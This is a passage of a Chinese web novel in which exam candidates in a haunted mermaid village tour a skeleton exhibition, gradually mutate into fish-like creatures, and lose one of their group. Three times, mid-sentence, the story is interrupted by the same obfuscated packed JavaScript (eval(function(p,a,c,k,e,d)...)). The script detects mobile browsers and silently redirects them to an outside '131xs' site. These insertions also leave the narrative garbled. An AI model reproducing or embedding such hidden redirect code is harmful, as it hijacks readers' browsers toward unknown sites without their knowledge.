苏韵瞥了他一眼,冷笑道:“秦主席对校内考试应该更加经营丰富才对吧。” 陈喻也没看明白他俩打得什么哑谜,抬头却看到了那扇老旧的铁门。 “到了!”村长说,“你们准备好了吗?我敢说这是你们见过最美丽的展览。” 他轻轻推开了那扇老旧生锈的铁门,陈喻看着眼前的场景呼吸一滞。 10. 人鱼村落(10) 锈迹斑斑的厚重铁门被缓缓推开,里面深蓝色的光芒打到了众人身上,陈喻承认,村长没有说谎,这确实是她见过最美丽的展览。 “好了,尊敬的各位客人,我就送你们到这里了,下午五点展览馆就会闭馆,各位请注意务必在闭馆前离开。”村长拖着沙哑低沉的嗓子说。 他说完话转身就走了,将这里完全交给了众人。 韩少宇没有一丝犹疑地快步走入展览馆,其他人紧随其后,陈喻是最后进去的一个,进去前她抬头仔细端详了一下那扇大铁门。 这个村落所有的建筑几乎都是木材建造,唯有这个展览馆与众不同,而且他们没少在村子里溜达,竟然从没发现过有这样一个展览馆。 她抬脚跨了进去,里面布满深蓝色的光芒,那光芒与几道细微的白色光芒交相辉映,不断产生细微的变化,像是海水的波纹在慢慢晃动。 而最显眼的还是摆在正中间的一具庞大的人鱼骸骨,馆顶比她想象的还要再高不少,顶光打在骸骨之上,营造出一种恢弘又神秘的感觉。 “这就是传说中的人鱼吗?”时越盯着那具骨骸问,“说不上来,总觉得哪里有些奇怪?” 陈喻朝着那所谓的人鱼看去,首先吸引视线的是它长长的尾骨,鱼尾摆动的弧度有着惊人的美感,在往上看是人类的胸骨和手臂,连手指骨节都很清晰。 她顺着那颈椎往上看,看到上面的颅骨微妙地眯起了眼,那里不是人类对人鱼这一生物传统印象中的人类头骨,而是鱼类头骨。 “美人鱼的脑袋居然是鱼脑袋?”大汉指着那骸骨说。 “先别看那个了,你们快过来看看,这些人鱼长得更奇怪。”韩少宇说。 除了正中央的这具人鱼骸骨,周围还摆放了许多,绕着墙摆放着。 “这人鱼的头和身子都是鱼骨的形状,下半身却有两条人类的腿骨?”秦曜看着一旁的不远处的一具骸骨说。 “这是人鱼吗?这是鱼人吧?”时越表情复杂。 “如果他们叫鱼人的话,那这些叫什么?虾人?蟹人?蚌人?”韩少宇的声音里有几分迷茫。 陈喻向那边走去,看到了许多长着虾形蟹形骨头的人形骸骨,她忍不住有些头皮发麻。 “这个村落里连一条鱼都没有,却有着人鱼骸骨,这些真的是从海里来的吗?常年在海里生存却靠双腿游行?进化也不进化点有用的东西。”苏韵吐槽道。 “至少进化出了鳃。”陈喻说。 陈喻往旁边走了几步,突然发现这个展览馆的构造好像是环形的,如果没猜错的话,从其中一边一直走是可以回到原点的。 她这么想着,朝左边走去,时越不明所以,但还是紧跟在她身后。 她越是往左走,看到墙上的骸骨年代越来越新,也不再是简单干净的骨头,上面似乎包裹着一些皮肉,越是往前看到的骸骨上包裹的皮肉越多,甚至那血肉变得更加鲜活。 突然,她停下了脚步。 时越抬头,面前已经不能叫骸骨,那看上去就是一具新鲜的尸首,死鱼的眼睛毫无生气地盯着他们。 它的上半身看上去像是鱼的躯体,皮肤上是密密麻麻的鱼鳞,它没有臂膀,躯干上长着鱼鳍,下半身是成年男性的双腿,甚至可以看到清晰的肌肉纹理,那身上穿着的是和他们这些考生一样的渔民打扮。 “……我没看错吧,他是不是跟我们穿的一样?”时越问。 陈喻郁闷地点了点头。 他们身上的衣服是考场自动匹配的,虽然匹配给他们的是符合此处村落的渔民打扮,但他们从来没见过一个村民如此扮相,这种衣服类似于游客感受民俗的装扮,当地人却不会这样穿。 时越起了鸡皮疙瘩:“我怎么有种不详的预感。” 陈喻的脸色也不好看,她甚至能看到对面人鱼身上溢出的鲜血,那血色甚至还是殷红的,它恐怕没死多久。 “啊啊啊啊啊———” 惨叫声从另一侧传来,陈喻拉着时越赶忙顺着声音的方向找去。 等她们赶过去的时候,其他几人已经到齐了。 大汉狼狈地趴坐在地上,竟然抽泣起来,陈喻不解地朝着他前方的墙上看去,那是一个低矮地形似螃蟹一样的人形生物,它看上去跟刚刚她俩看到的尸首一样鲜活,唯一不同的是,它穿的是村民的衣服。 “那东西……那东西不对劲,它刚刚突然跑出来抓我的手。”大汉说着哭喊起来,“它抓住了我的手!用它的钳子!它说它要吃了我!它说我们都活不了了!!救命啊!!” “这外面的玻璃都没破,它怎么可能出来。”韩少宇不耐地看着他,“你一个大老爷们别老哭哭啼啼的,我当多大的事呢。” “应该是幻象吧。”时越补充道。 “不可能!我清晰地感觉到它的钳子戳到了我的肉里,那怎么可能是幻象?!”大汉大声吼道。 “可你身上确实没有伤痕。”陈喻说。 “怎么会没有伤痕?!你仔细看看,这样大的伤口!血都流到地上了!怎么会没有伤痕呢?!”他死死盯着自己的手腕。 陈喻不自觉蹙起眉头,她确实没有看到大汉手上有伤口,她看了眼时越,时越眼中也满是不解。 “是异化。” 秦曜站在墙边注视着这一幕,没什么情绪地说了句。 “异化是什么?”陈喻问。 “你可以从字面意思理解,考场有很多超自然现象,也可以称为异象,在这里呆得时间过长难免会产生一定程度的异化,这在不同考场程度也不同。”他将眼镜取下来用布料轻轻擦拭。 “一般而言,考生随时间流逝受考场干扰异化的程度不会过高,但里面有一个变量因素干扰却极高,那就是触犯了考场的隐藏规则,从某种意义上来说属于一种答错题的情况,这会导致考生身上呈现一些异样状态,比如先前的吃鱼食,现在的幻觉效果。” 听到这里,陈喻不自觉抿了下唇。 “什么叫隐藏规则,如果没公布那岂不是很容易出现答错题的情况吗?”时越紧张地看着秦曜。 “你们之前在每个景点应该都遇到过特殊情况,不同做法会带来不同结果,每个考场都有隐藏规则,考验的是考生的审题灵敏度,说白了就是判断力和经验,如果所有规则都是无死角全面公开的,那么这场筛选机制的考试又要怎么筛选优等生呢?” “优胜劣汰一直都是这里的法则。” 秦曜重新戴上眼镜,那微笑的眼神后有种不近人情的冷漠。 “异化越严重会更加容易死吗?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15460644|169745||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 陈喻突然开口。 “异化本身对身体作用的速度不会过快,但异化后受异象干扰的程度会大大增加。”苏韵随口接道。 陈喻莫名想起自己走过的三个景点一个比一个可怕,真的是因为三个景点幻境的难易程度不同吗?还是说只是因为她的异化程度加重了…… “我想这个考场从设置上就是一个重异化考验的考场,所以就算不违反隐藏规则异化也会不断加重。”陈喻的视线放在地上的大汉身上,大汉已经开始作势要掐自己的脖子,她缓缓开口,“我现在请问各位,目前有谁还能看到自己屋子里的窗户?” 没有人回答她,几人都默契地保持了沉默。 “今天村长吃鱼食的时候,你们有没有过上前吃鱼食的冲动?”陈喻继续问。 还是没有人回答她。 “各位,我想我们早就开始异化了。”她说。 或许是第一天晚上,又或许是降临这里的那个瞬间。 她摸了摸自己的脖颈,那里有些痒,摸上去却像是有什么伤痕一般,如果是之前,她或许会怀疑自己身体不舒服或者是产生错觉,可现在她却知道那里或许很快就会长出鳃来。 “难怪海里什么都没有,村子里却有着足够陈列这么大的展览馆的人鱼。”苏韵冷笑着说,“只要游客不断,村子里的人鱼就会只增不减。” 此话一出,仅剩的几人脸色都差极了。 ———啪!!! 是玻璃被打破的声音! 几人震惊地向声音的来源看去,却看到了满手鲜血的韩少宇。 他一拳打碎了陈列人鱼骸骨的玻璃柜,手被玻璃碎片划得鲜血直流,但他没有停手,而是上前拿起一具人鱼骸骨重重地摔在了地上。 那骨骸落在地上瞬间被摔成了数瓣。 狠戾的眼神在深蓝色光芒的映照下仿若魔鬼。 “——韩少宇!你疯了吗?!”时越一脸震惊地冲着他喊。 “来不及了,再等下去所有人都会变成半人半鱼的怪物,考试时间还有五天,但我们能坚持到五天吗?谁敢赌?赌自己不会先异化成怪物,还是赌变成怪物的同伴不会啃食自己的血肉?”韩少宇的情绪似乎很不可控,他的声音带着一种在癫狂边缘努力维持的平静。 “校内资格考试会至少在每个考场保留一位名额,可你们谁敢赌那个人就一定是自己呢?我也不过参加过两三场考试而已,可你们呢?秦曜跟苏韵还能给自己兜底,你们甚至是可怜的新生。” “考场的答题对咱们而言不过就是一场豪赌罢了,赌对了我们就能出去,赌错了无非就是死,可如果不赌呢?就只能等死了。”韩少宇看着地上的骸骨,“辛夷已经赌输了,现在该我了。” “村长很讨厌死鱼,或许他也很讨厌人鱼。” “我是个自私的人,我不想拿我的命帮各位过关,但如果有人因为我的博命而过了这个关,我希望你能记住我,因为我不会白白为旁人拼命,我一定要讨回来的。”他眼神坚定地说。 ———啪!!!! 突然间,周遭的玻璃上全部出现裂纹,瞬间炸裂。 陈喻看着眼前的人鱼强,突然感觉到水流迎面而来,一股窒息感裹挟着她,深蓝色的光芒似乎与天地相接,变成了诡异神秘的海域。 11. 人鱼村落(11) 深蓝色的海水将陈喻淹没,疯狂掠夺着她的呼吸,她感到自己的周身被冰冷的海水包围,她的每一个动作都受到了极大的阻力。 墙上的人鱼骸骨已经完全脱离了玻璃柜的束缚,随水流飘散在海水中,陈喻看着那具近在咫尺的人鱼骸骨,突然发现整个展览馆的布局变得有些奇怪。 刚刚墙上的玻璃全部碎裂,随之而来的是灌入展览馆的海水,海水灌满了整个展览馆。 可展览馆的大门不是开着的吗?怎么会形成这样封闭的空间? 陈喻朝着四周摸索,不知过了多久她摸索到了身后的一面无形的墙,那墙是玻璃质感,她惊觉自己好像处在一个圆形的地域,如果没猜错的话,刚刚她们参观的时候一直在环形的外围,而打破了墙上的玻璃之后,却突然好像穿过了那面墙,进入了环形的内部。 这感觉很像是参观海洋馆,而他们现如今扮演的角色则像是海洋馆中置身水中与游客隔着玻璃墙的“美人鱼”。 陈喻试着敲打玻璃,但水下的阻力太大,无论她使出多大的力气总会被卸得一干二净。 越是挣动越是使她接近窒息,水中的可视范围格外的差,原本掺杂其中的白色灯光也消失不见,像是置身海底,怎么也寻找不到出口。 她的气息越来越微弱,眼中的光景也在慢慢变暗,她知道自己快不行了。 可是怎么会这样呢?这属于触犯隐藏规则吗?一人行为会直接产生这种群体效果吗?可是就算触犯隐藏规则不应该只是加重异化嘛,难道其实也可以直接剥夺性命? 她还不能死在这里,她必须活着通过这场考试,她还有一场现实世界的试要考,这场试她准备了太久,付出了太多,有很多人觉得她太过执着,用几年的光阴去死磕一场考试,可人一辈子不就是这样嘛,凭着一个又一个执着的念想去存活,这大概就是她的奔头吧。 为什么那些谈恋爱的人可以为了一个没认识多久也没有任何血缘关系的人要死要活,而她却不可以为了自己憧憬已久的一场考试拼死拼活,不都是一种执着吗? 冰冷的海水拖着她迷离的念想沉沉向底部坠去,她彻底失去了意识。 …… “别看我!别看我!我变成了怪物!我变成了一个彻头彻尾的怪物!!”中年男人的声音在吼叫。 “果然是诅咒!我们的村落被诅咒了!”中年女人发出尖锐的嗓音,“是罚!是罚!谁也逃不了!” “我们做下了那样的错事,神来惩罚我们了……”那女人说。 “谁来替我们赎罪呢?谁来替我们受罚呢?”那女人继续说,“明明他们也犯了错,来这里的每一个人都不无辜,他们都要付出代价。” 几道声音在陈喻耳边盘旋,白色顶光打到她的脸上,她不自在地睁开迷离的双眼,看到周遭坏境的那一瞬她愣住了。 她躺在地上,面前是被深蓝色与白色灯光照耀着的巨大人鱼骸骨,正是他们走进人鱼展览馆时摆在正前方的那一个,起到类似震馆的作用,让她感到悚然的倒不是这个,而是周围的众多人鱼骸骨,原本摆放在展览墙壁上的数具人鱼骸骨此时都漂浮在空中,它们紧紧贴在一起围成一个圈,将那具巨大骸骨以及她都围在里面。 陈喻平静地摸了摸额头,目测好像还没死,但看这架势貌似也很难活了。 “夜晚的村落很黑吧,你就快要看到我了呢。” 那是一道极具蛊惑味道的声音,像是海妖的低声咛喃,陈喻抬头,发觉那声音竟是眼前巨大的人鱼骨架发出的,那尾骨甚至自然摆动了几下。 “我分明蛊惑了你这样多次,竟让你好端端地活到了现在。” 陈喻神情复杂地看着这一幕,说实话,来到这里的每一天她都深深怀疑自己学着学着终于把自己学疯了。 她麻木地看向头顶地人鱼骨架:“打个商量,我能不能不死?” “凡事都是要付出代价的,你想不死就得找人替你的罪。”它带着蛊惑意味的音色从她的左耳飘到右耳。 “可我犯下了什么罪呢?”她盯着那具骨架的鱼类头骨,脸上却带着几分虚假的笑意,她慢慢开口,“我难道不是来替别人的罪的吗?” “村子出现了怪事,村民们陆续变成了半人半鱼的怪物,可人鱼村为什么即使变成这样都在执着地招揽游客,我想游客的存在对他们来说一定很重要吧。”陈喻的表情带着笑意,有种说不出的疯狂。 “人鱼,你真的想要杀我吗?还是说,你的目的是想要我来帮你报仇呢?” 她面带笑容看着那具人鱼骨架,眼底是种看透一切的不在乎。 “你凭什么笃定我不会杀你?”它的声音带上冰冷的杀意。 “如果你可以随意动手早在我窥探海域的那个夜晚就命丧黄泉了,你或许会杀我,或许现在就想要我死,但我想规则同时会束缚你,你至少现在不能这样简单粗暴地置我于死地。”她低垂着眼眸微微一笑,“你想不想杀我并不重要,重要的是我确实可以帮你报仇,规则让旁人可以替去他们的罪,我想你也不甘心吧。” “我只是很好奇,为什么偏偏选中我?”她问。 人鱼骨架短暂地沉默了一会儿,低低的声音绕在她耳边:“是你不该选中那个屋子。” 那个屋子究竟有什么特殊的地方?先前秦曜非要找她换,如今这人鱼骷髅也要点出来。 这间屋子由于靠海很近,窗户也是对着海域的,故而不是特别有安全感,跟其他屋子挨得也不是很近,住起来甚至有种离群索居的感觉,不像其他屋子彼此之间都距离极近,所以当时压根没人选,但她比较追求清净就住了离人群相对最远的一间。 “你不觉得你住的那间屋子的窗户所对的方位很特殊吗?” “这就是你一次一次变成鬼吓我的理由吗?”陈喻眯着眼看它。 “当你接近真相,也就接近危险。”它幽幽地说,“你知道得越来越多了,你就快要看见我了,如果不能成为最有用的帮手,那就会成为最大的敌人,所以你必须死。” “你很怕别人看见你吗?怎么,你长得很丑吗?”陈喻的语气里有种不知死活的麻木。 “你才丑!蠢货!”它愤怒地骂了她一句,接着喃喃道,“看见我的人都死了……但我不能被那样看见,我没有灵魂了,他们夺走了我的灵魂,我得看到我的灵魂才行。” “灵魂?” “好了,愚蠢的人,我们的沟通就到这里了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15461955|169745||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如果你找到人替你的罪,我或许会放过你,如果没有,我不会让你活下去的。” 人鱼骷髅的声音在产陈喻耳边四散,突然变得好像很遥远,深黑色的浓雾遮住了她的视线,她深吸了口气,感到冰凉的海水又将她的身体覆盖。 人鱼低声咛喃了一句什么,她捕捉到了微弱的声音。 那声音说:“我看到了执着,和我一样的执着。” 陈喻不知道刚刚为什么会看到那些荒诞离奇的画面,但看目前的情况,她的异化应该是加重了。 她缓缓睁开眼,又回到了刚刚的水里,周遭漂浮着几具人鱼骸骨,可视的范围还是很小,她却感觉不到呼吸受阻的感觉,窒息感已经不复存在,她伸手摸了摸自己的颈部,那里果然已经长出了鱼类的鳃。 ——啪!!!! 是玻璃碎裂的声音。 看来有人砸开了玻璃墙。 陈喻站在原地,眼看着封闭空间的海水慢慢退去,此时外部的光线也投射进来,她朝着玻璃破碎的地方走去。 快走到出口时,她突然注意到旁边地上躺着的时越,时越双眼紧闭,似乎已经失去意识,她低头将人抱起,一起带出了这里。 她出来后身后的场景就自动消失了,重新变成了原来的人鱼墙。 陈喻出来的时候,秦曜跟苏韵已经站在墙边,他们靠墙站着,发丝都还在滴水,看上去都有些狼狈,看来刚刚打碎玻璃的应该就是他们二人中的一个。 在陈喻后面出来的是韩少宇,他哆哆嗦嗦地走出来,脸色差到了极点。 “——啊啊啊!” 时越突然从地上惊坐起来:“我是不是已经死了?地狱里居然也有人鱼!” “地狱里还有我呢,惊喜吗?”陈喻在她眼前晃了晃手。 “没死啊。”时越挠了挠头,“你刚刚有没有叫过我?我好像听到一个温柔的女声在我耳边喊小越小越。” “没有。” 时越看了她一眼:“也是,你没有这么喊过我,而且你也不温柔。” 陈喻:“……” 早知道不救她出来了。 “看来大家的异化程度都不轻啊。”苏韵看着几人说。 能在里面坚持这么久,他们大都长出了鱼类特征,韩少宇一脸震惊地摸了摸自己的脖子,露出一脸嫌恶的表情。 “你用了道具吗?”韩少宇突然问秦曜。 秦曜没吭声,最终点了下头。 刚刚打破玻璃居然是用了道具吗?老手手里究竟有多少底牌? 幸好他们和自己不是对立面,陈喻想。 几人在原地缓了一会儿,就在众人以为大汉可能回不来了的时候,他居然慢吞吞从墙里面走了出来。 韩少宇看到他出来后,脸色更差了。 眼看时间已经接近下午五点,他们每个人都饿得前胸贴后背了,陈喻、时越以及大汉去食堂点了饭,几位老手则直接回了自己住的屋子。 韩少宇干啃了几个方便面面饼,把剩下的都留给了秦曜。 夜晚来得很快,可越接近深夜韩少宇就越觉得不安。 深夜,寒风吹过他的床铺,他裹了裹被子,却摸到了床褥上的水迹。 12. 人鱼村落(12) 床褥上无端端多了水渍,韩少宇摸到了一片潮湿,他将手放在鼻尖嗅了一下,不自觉皱起眉头。 臭,很臭,像是海水的腥臭味道,又像是什么肉类腐烂已久的味道。 这令人窒息地腐臭味道直击他的天灵感,他本就不多的睡意彻底烟消云散。 他干脆从床上坐了起来,床褥上果然莫名其妙多了一大片水渍,月光自窗外照到他的床边,他突然惊觉,他分明从三天前就已经看不到屋子里的窗户了。 他不自觉地盯着那片水渍看去,注意到那片水渍正在以肉眼可见的速度飞速蔓延,没等他疑惑太久,余光却扫到墙壁上的异常,他怔愣地抬起头,看到木墙上也出现了一块水渍,同时也在飞快蔓延。 韩少宇越发地不安,他从自己的床上下来准备去告诉秦曜屋子的异常,可刚刚踩在木地板上感觉到了异样,地板上竟然也渗出了水迹。 “秦曜,秦曜你醒醒。”他用力摇着秦曜的胳膊,见到对方一直没有动静不自觉变得焦躁起来,“出事了秦曜!别睡了!再睡下去就要没命了!” 可面前的人就像是木头一般,无论怎么呼唤怎么拉扯都丝毫没有动静,眼看周围的水渍已经快将一整个房间浸湿,他急躁地推了秦曜一把。 “你不是很强吗?!你快起来啊!” “你说过要帮我的!我帮你省了多少资金!现在轮到你了秦曜!该你帮我的时候了!” “你不能在这个时候装死啊!!!” 他的语气越来越焦急,声音也变得有些癫狂。 此时屋子里的水已经没过了他的脚踝。 “你不是有很多道具吗?你一定还有底牌的对不对?” “如果这场资格筛选考试连你都通不过的话,饿鬼大学还有几个人能通过?!” “我不能死在这里!” 他绝望地感觉到冰凉的海水没过他的大腿,突然摸到手中的胳膊似乎有些异样,本该有着胳膊的地方似乎变得空空荡荡,新长出来的鱼鳍把被子撑得鼓鼓囊囊。 秦曜的异化又加重了。 他眼中的希冀带上了几分怨恨的色彩,他用力拉扯了一下秦曜的身体,突然,他感觉手中一轻,从床上滚下个圆滚滚的事物。 他满头冷汗,瞬间瞪大双眼。 ——那是秦曜的脑袋! “——啊啊啊啊!!!” 他崩溃地看着滚在地上的脑袋,那脑袋迅速长成了鱼头的模样。 韩少宇觉得自己一定是疯了,要不然床上躺着的秦曜怎么会变成一具人鱼骸骨? 他颤抖着松开了抓着秦曜的手,那骸骨却像是摔到了地上一样,瞬间碎成了好几瓣,这场景格外眼熟,这具骸骨……不是他今天白天在展览馆摔碎的那具吗? 海水蔓延到了他的脖颈,他看着周遭,突然发现不知道什么时候,他已经不在自己晚上睡的那间屋子了,眼前是摆放着人鱼骸骨的石头墙壁,深蓝色的灯光映照着它们,地上是被摔成很多块的人鱼骸骨,这里分明是白天去的人鱼展览馆。 像是想起什么般,他红着眼睛怔愣地转向身后,那是原本屋子里挂着时钟的地方,虽然场景已经转换,但那时钟却依旧挂在原处。 那上面的时针指向十二点整。 “……下午五点展览馆就会闭馆,各位请注意务必在闭馆前离开。” 村长的话突然在他脑中徘徊。 可他……不是早就离开展览馆了吗? 难道他一直都没有离开吗? 他突然想起昨天他从展览馆出来后秦曜好像就没有跟他说过话了,可秦曜分明点了头,说明他听到了自己的说的话,所以他是看到了什么吗? 冰冷刺骨的海水没过了他的脑袋,明明长出了鱼类的鳃却不能顺畅呼吸,窒息感瞬间来袭,他看见前方突然出现了一具巨大的人鱼骨骸,那骨骸像是活过来了一般朝他走来,巨大的鱼尾将他的身躯卷起,他感到自己被高高举起,明明置身水中,可对方摔下自己后却没有一丝阻滞。 他亲眼目睹自己被重重摔落,失去氧气的窒息感让他意识不再清晰,他面朝着地面坠去,却看到那影子不再是人的影子,分明是一条长着尾巴的人鱼。 他想,他大概是赌输了。 …… 清晨的海风拂过陈喻凌乱的发丝,她面无表情地站在木麻黄树下,眼前的海域一望无际又充满危险。 今天已经是第五天了,没有时间了。 等待着她的是凶猛的鬼怪还是荒诞的人鱼,是难辨善恶的村民还是即将饿死的困境? 究竟要帮助人鱼报仇呢还是要杀掉人鱼呢?她做出什么样的决定似乎对两方势力并不重要,毕竟游客的性命在他们眼中是那么的无足轻重,他们都想要游客死。 “起得很早嘛。”苏韵慢悠悠从屋子里走出来,声音却依旧冰冷,“你猜,今天死的会是谁呢?” “每天死人是考场的规矩吗?”陈喻没有情绪地说。 “那倒不是,每场考试都不一样。”苏韵随手将长发扎起,“这场考试难度比较高,死亡率也会比较高,安排了九天九人,趋势是每天至少死一个这样,由于是报名资格筛选,饿大不可能放弃自己学校的考生名额,所以每场考试至少会保证一位考生通过。” “也就是说,只要死得只剩一个人了,无论他能不能正确答题,都会判定通过考试?”陈喻微微皱起眉头。 “差不多吧。” “那要是我把你们全杀了呢?”陈喻平静地说。 苏韵听了意味深长地看了她一眼:“那大概是忘了考生须知,考试期间不能伤害其他考生。” “怎样才算伤害?黄毛之前推搡许芸芸也没有惩罚。” “伤害的界定并不宽泛,事实上一般达到死亡这种程度考场才会受理。”苏韵看着眼前的海域说,“事实上大可不必做到这种程度,通过迂回的方法完全可以达到同样的效果。” 陈喻听完神情复杂地看了她一眼。 “……韩少宇!韩少宇出事了!!”时越大喊大叫地朝这边走来。 “他怎么了?”陈喻问。 “他变得很难看,并且碎成了好几瓣。”时越面目扭曲。 “你进去看过了?”陈喻惊讶于时越进步得如此之快。 “没有。”时越说,“这些都是秦曜告诉我的,我又不傻,干嘛要进去看那些,本来就饿,还要把肚子里仅存的食物吐出来。” “……” 秦曜的房间里面散发着一股恶臭,陈喻和苏韵捂着鼻子在里面观察,韩少宇的尸体并没有放置在床上,而是在地上,准确来说,以尸体现在的样子很难分 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15469630|169745||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 辨得出这是韩少宇,那尸身似乎是被从高空重重摔下,碎成了数块,零碎的肉沫溅得到处都是。 更糟糕的是,这副躯体已经不再像是人类的躯体,属于鱼类的眼睛死死盯着天花板,长长的鱼尾炸开了血花,属于人类的胸骨乱七八糟地直戳心脏。 大汉很有自知之明的没有进来,时越起初也站在门外,最终也躲在陈喻身后狗狗祟祟地走了进来,最终还是跑向了厕所,陈喻忍了好久才忍住跑厕所的欲望。 陈喻突然注意到桌子上成堆摆放的开封的方便面,她看着秦曜问:“你们屋子怎么会有这么多方便面?从没看到你们去过便利店,而且你们屋子也没有垃圾。” 秦曜平静地扶了一下眼镜:“这是少宇的技能。” 传说中的专业技能? 虽然看起来有点low,但却很实用的保命工具。 “你们居然有不花费金额就能拥有的食物?!”时越满脸震惊。 “运气好的话,你也会拥有。”秦曜说。 韩少宇的死法和昨天他摔碎的那具人鱼骸骨简直一模一样,大家基本都可以猜到他的死亡原因,因此几人也心照不宣地没有多说什么。 事实上昨天陈喻就注意到了韩少宇的异样,从满是海水的玻璃墙里出来后他虽然还是人的样子,可他的影子却变成了人鱼的影子。 秦曜跟苏韵肯定也注意到了。 本来以为人数和金额的减少已经够糟糕了,可他们居然连免费的早餐也失去了。 “不知好歹的客人,我们的展览馆那样的宝贵,你们竟然敢打碎玻璃,还破坏里面珍贵的人鱼,你们可真该死啊!我们的展览不会再对你们开放了,套餐里的早饭我再也不会给你们这些不知好歹的外乡人提供了,你们好自为之吧!”村长咧着干燥的嘴巴咬着牙说。 他似乎愤怒极了,将木桌又翻了个底朝天。 陈喻仔细看了他一眼,他的脸已经变得青黑,脖颈处依稀可见鱼类的鳞片,手臂变得干枯瘦小,似乎快要消失不见,上身却鼓鼓囊囊似乎有鱼鳍要冒出。 “今天本来就没有钱吃午饭了,现在连早饭也不提供了,是想让我们直接饿死吗?”大汉沮丧地说,“都怪韩少宇,要是他昨天没有摔人鱼今天也不会没有早饭,要不是他非要一意孤行,说不定他也不用死……” “我们的时间不多了,村长对我们的态度现在也变得很差,展览馆已经没法再进去,如今我们没有深入调查过的只有村民了,我想从村民那里或许能得到什么关键线索。”秦曜语气温和地说。 “我赞成。”大汉随声附和,毕竟他也很想抱这个大腿。 陈喻低头思索了一下,抿了下唇说:“我想再去景点看看。” “那我跟陈喻。”时越说。 秦曜看了眼还没有表态的苏韵,苏韵面无表情地说:“我也想去景点看看。” “不如我们分头行动,互相交换信息。”陈喻看着秦曜说。 秦曜微笑着应了声好,转身往村落深处走去。 陈喻站在原地没动,表情突然有些僵硬。 她伸手摸了摸自己的颈项,往下摸似乎能摸到鱼鳞片的形状,她试着迈开步子,但明显感觉自己的下肢变得麻木僵硬。 她的异化又加重了。 “我们走吧。”她说。 13. 人鱼村落(13) “你有什么头绪吗?” 苏韵站在陈喻身后轻飘飘地问了一句。 “苏同学有什么经验可以传授吗?”陈喻扭头回应。 “景点前几天不都挨个看过了嘛,我还以为你会去找村民呢。”苏韵说。 “村民当然很重要,我也肯定会去找,只不过我对景点还有些疑惑要去验证。”陈喻盯着她说,“那你又为什么会跟我来景点呢?” 苏韵抬眼看了她一眼,淡淡地说:“我只是好奇你手里有什么线索,会让你一个新人专门跑去明知有异象的地方。” “你怎么那么笃定我手里会有线索,你就不怕我是下一个韩少宇。”陈喻看向苏韵的眼神有些意味深长。 时越在旁边看着,一时分不清这两人的态度是敌是友。 没等气氛开始变得剑拔弩张,她们便已经赶到了景点,纯白色的花海像是村落之中唯一没有被玷污的美好,穿着黑色斑点长裙的姑娘披散着长发,像是花中仙子,唯一有些遗憾的是那裙摆被拖在地上,染上了一片污泥。 为什么整个村落只有她一直穿着拖地的长裙?不仅不方便劳作,裙摆上还满是脏污,会不会是在掩藏些什么? 陈喻突然想起上次见到阿丽的时候看到阿丽的脖子上似乎有着奇怪的斑点和血痕,当时她只觉得奇怪,现在想来那是在朝着人鱼异化。 那么阿丽掩藏在裙摆之下的会是什么呢? 恐怕是一条长长的鱼尾。 “你们也很喜欢我的花吗?亲爱的客人,你们又来种花了吗?”阿丽脸上是灿烂的笑容,似乎很难让人说出拒绝的话语。 “我们很喜欢你的花,我听说看到你的花就好像看到了自己的灵魂一样,是这样吗?”陈喻微笑着问阿丽。 阿丽听了她的话欢呼雀跃起来:“你想要知道自己灵魂的颜色吗?种一朵花吧,种一朵最鲜艳的花吧。” 陈喻朝着花圃走了几步,左脚轻轻踩上花圃边缘松软的泥土,她面带微笑:“可是我已经种过花了,我已经知道我的灵魂是纯白色,阿丽,我很喜欢你的花,我可以带一朵走吗?” “没关系的,你可以重新种,我相信你一定可以种出鲜艳的花朵,等你种出颜色鲜艳的花朵,你就可以带着它离开了,可你不能带走白色的花朵哦,因为那些都是阿丽的花朵呢,你得种出属于你的花才行。”阿丽死死地盯着她踩在泥土上的那只脚,“不可以穿着鞋袜进入花圃哦,我们花匠都是不怕脏的呢。” 阿丽说完后陈喻默不作声地将踩进泥土里的脚拿了出来。 看来白花还是无法直接带走,至少不能通过阿丽带走。 不过好在阿丽没有否认有关灵魂的事。 人鱼骨架说它要找到它的灵魂才行,看来突破点确实在这些花朵上。 时越有些心惊胆战地站在后面,生怕陈喻脑子一抽又要脱鞋进去种花,但陈喻却没有多做停留,转身向外走去,苏韵只是有些神情复杂地看着陈喻,全程也没说什么。 陈喻扭头看了眼苏韵:“如果我没记错的话,你应该是第一天来的花圃这个景点,当时你们也种花了吗?” “种了,我没有种出有颜色的花,跟我一起那个男的倒是种出了红色的花。”苏韵说,“他当时跟我说他看到了什么恐怖的东西。” 陈喻知道苏韵说的那个男的是大汉,她问:“阿丽当时没有让他带走那朵花吗?” 